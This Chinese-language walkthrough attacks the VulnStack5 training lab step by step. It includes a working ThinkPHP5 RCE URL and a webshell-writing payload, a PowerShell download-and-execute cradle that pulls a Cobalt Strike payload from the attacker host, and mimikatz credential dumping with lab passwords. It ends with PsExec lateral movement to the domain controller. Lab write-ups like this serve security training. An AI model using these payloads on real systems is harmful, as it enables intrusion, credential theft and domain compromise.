VulnStack5-Walkthrough - 红队攻击之域内靶机渗透实战演练

2020-11-25 10:42:20 浏览数 (1)

VuInStack-5

此攻击环境是红日安全的ATT&CK靶场五,此次虚拟机共用两个,一个外网,一个内网,用来练习红队相关的知识。

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

VulnStack5-Walkthrough

运用到的知识点

ThinkPHP5-rce-getshell

Cobalt Strike 提权 MS14058

PsExec 工具使用


环境

攻击机Kali:192.168.203.129

攻击机Win10:192.168.2.4

靶机Win7:192.168.203.130(网络边界)、192.168.138.135(内网IP)

靶机Win2008:192.168.138.138(DC)


信息搜集

知道攻击目标后先进行信息收集,渗透的本质就是信息收集!

既然目标是IP那么直接使用Nmap扫描端口开放情况:

代码语言:javascript复制
nmap -A -T4 192.168.203.130

可见目标开放了几个常用的端口:80(http)、135(rpc)、139(NetBIOS - Samba)、445(Samba),因此判断目标主机应该是Windows。

先打开Web页面看看:http://192.168.203.130/

发现是ThinkPHP5搭建的网站(TP有RCE漏洞),我们可以先扫扫目录看看有没有突破点:

没有发现可利用的文件,字典问题!


ThinkPHP5-RCE-GetSHELL

既然上面信息收集发现是TP5,那么我们可以尝试看看目标是否存在RCE:

代码语言:javascript复制
# 执行命令
http://192.168.203.130/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

发现可以执行命令!那么先写入一个一句话进去:

代码语言:javascript复制
# 写入一句话
http://192.168.203.130/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"]);?^>>shell.php

蚁剑连接Webshell:


打入内网

拿到Shell后先对内网进行一个简单的搜集,先看看IP网卡信息:

代码语言:javascript复制
ipconfig /all

发现有两个网卡:

代码语言:javascript复制
C:phpStudyPHPTutorialWWWpublic> ipconfig /all
Windows IP 配置
 
   主机名  . . . . . . . . . . . . . : win7
   主 DNS 后缀 . . . . . . . . . . . : sun.com
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : sun.com
                                       localdomain
 
以太网适配器 本地连接:
 
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
   物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-CB
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::50b:a7b3:5ed5:f577(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.138.136(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 
   DHCPv6 IAID . . . . . . . . . . . : 352324649
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
   DNS 服务器  . . . . . . . . . . . : 192.168.138.138
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用
 
以太网适配器 wk1 waiwang:
 
   连接特定的 DNS 后缀 . . . . . . . : localdomain
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-C1
   DHCP 已启用 . . . . . . . . . . . : 是
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::3c32:c19:2135:b9fb(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.203.130(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   获得租约的时间  . . . . . . . . . : 2020年10月24日 21:38:37
   租约过期的时间  . . . . . . . . . : 2020年10月24日 22:34:57
   默认网关. . . . . . . . . . . . . : 192.168.203.2
   DHCP 服务器 . . . . . . . . . . . : 192.168.203.254
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
   DNS 服务器  . . . . . . . . . . . : 192.168.203.2
   主 WINS 服务器  . . . . . . . . . : 192.168.203.2
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

一个外网IP(192.168.203.130),一个内网IP(192.168.138.136)。

其次发现主DNS后缀是 sun.com 因此判断是在域内环境。

Ping sun.com 锁定域控 IP 为:192.168.138.138

代码语言:javascript复制
C:phpStudyPHPTutorialWWWpublic> ping sun.com
正在 Ping sun.com [192.168.138.138] 具有 32 字节的数据:
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
 
192.168.138.138 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

紧接着 systeminfo 发现目标主机是 Win7 :

补丁也只打了仅仅三个:(对于攻击者来说这是一条好消息)

代码语言:javascript复制
修补程序:         安装了 3 个修补程序。
                  [01]: KB2534111
                  [02]: KB2999226
                  [03]: KB976902

横向渗透

既然是在域里,那么我还是先用 Cobalt Strike 上线 Win7吧。

关于 Cobalt Strike 的使用,我以后会把我学习CS的笔记发到微信公众号,别急。

在这里我用的是 Powershell 上线方式:

一:创建一个监听器

之后在目标主机上运行命令成功上线CS:

代码语言:javascript复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.203.129:80/a'))"

先常规扫描一下内网存活主机,在这里我使用的是K8哥哥的神器(Ladon),是真的牛皮这个工具!

代码语言:javascript复制
Ladon 192.168.138.0/24 OnlinePC

发现内网存在一台主机为域控DC (192.168.138.138)

由于当前网络边界主机的补丁很少,可以尝试MS14058提权:

提权成功,当前权限为 System 系统权限!

之后加载 mimikatz 抓取一下密码试试:

代码语言:javascript复制
SUNAdministrator dc321.com
SUN.COMleo 123.com

成功抓到域用户leo和域管理员administrator和的密码和Hash!

之后可以通过PsExec进行传递执行命令,但是由于目标主机是内网有可能不出外网,那么我们需要进行中转上线!

PSEXEC执行原理:

前提:目标开启 admin$,445端口共享

通过ipc$连接,然后释放psexesvc.exe到目标机器。

通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

客户端连接执行命令,服务端启动相应的程序并执行回显数据。

缺点:目标系统会用一个psexec的服务,在Windows日志里可以被溯源到IP

先创建一个监听器:

Session 我选择的是 System 权限的这个作为中转!

然后生成一个木马用于中转上线:

Stage 选择刚刚创建的监听器,然后选择 Windows EXE,创建保存:

把生成的 4444.exe 上传到目标服务器上,然后再把PsExec也一同上传到目标服务器上:

之后使用命令运行PsExec执行命令,用刚刚mimikatz抓取到的明文密码配合生成的木马成功上线域控:

代码语言:javascript复制
shell C:phpStudyPHPTutorialWWWpublicPsExec64.exe -accepteula \192.168.138.138 -u sunAdministrator -p dc321.com -d -c C:phpStudyPHPTutorialWWWpublic4444.exe

最后抓取域内所有用户密码Hash完成本次渗透:


总结

本次靶场练习有域环境,相对于新手学习内网是一个很好的靶机,相对简单。


参考文章:

http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

https://www.anquanke.com/post/id/84938

0 人点赞